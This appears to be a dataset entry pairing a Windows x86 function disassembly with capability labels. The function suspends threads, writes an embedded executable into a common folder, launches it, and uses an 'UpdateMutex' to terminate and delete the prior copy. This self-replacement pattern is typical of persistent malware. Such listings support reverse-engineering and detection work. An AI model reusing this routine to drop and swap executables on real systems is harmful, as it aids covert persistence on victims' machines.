Function at 0x4053d0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create directory
Create process on windows
Create process suspended
Delete file
Get common file path
Resume thread
Suspend thread
Terminate process
Terminate thread
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54c
mov dword [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004024c0
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4056dd
mov edx, dword [0x407ae8]
push edx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov eax, dword [0x407ae4]
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov ecx, dword [0x407ae0]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 5
lea edx, [ebp - 0x28]
push edx
call fcn.00401340
add esp, 8
lea eax, [ebp - 0x54c]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x54c]
push edx
push 0x406dc0
lea eax, [ebp - 0x344]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea ecx, [ebp - 0x344]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x54c]
push ecx
push str._s_s_s.exe
lea edx, [ebp - 0x344]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x344]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0
push 0
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4000
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x44
push 0
lea edx, [ebp - 0xbc]
push edx
call fcn.00401940
add esp, 0xc
push 0x10
push 0
lea eax, [ebp - 0x38]
push eax
call fcn.00401940
add esp, 0xc
push 0x40
push 0
lea ecx, [ebp - 0x78]
push ecx
call fcn.00401940
add esp, 0xc
push 0x80
push 0
lea edx, [ebp - 0x13c]
push edx
call fcn.00401940
add esp, 0xc
push 0x4073e0
push str.UpdateMutex:
push str._s_s
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x80
lea ecx, [ebp - 0x13c]
push ecx
lea edx, [ebp - 0x78]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x78]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0xbc]
push edx
push 0
push 0
push 0
push 1
push 0
push 0
lea eax, [ebp - 0x13c]
push eax
lea ecx, [ebp - 0x344]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4056dd
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 0x3c
jae 0x4056dd
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x78]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4056ba
push 0
mov eax, dword [0x407ae8]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
mov ecx, dword [0x407ae4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
mov edx, dword [0x407ae0]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x407218]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x14], eax
push 0
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x407680
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x407208]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40
push 0
lea edx, [ebp - 0x78]
push edx
call fcn.00401940
add esp, 0xc
mov eax, dword [ebp - 0x30]
push eax
push 0x4073e0
push str.UpdateMutex:
push str._s_s_d
lea ecx, [ebp - 0x78]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea edx, [ebp - 0x78]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov eax, 1
test eax, eax
je 0x4056ba
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4056a4
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4055bb
mov eax, dword [0x407ae8]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [0x407ae4]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [0x407ae0]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov esp, ebp
pop ebp
ret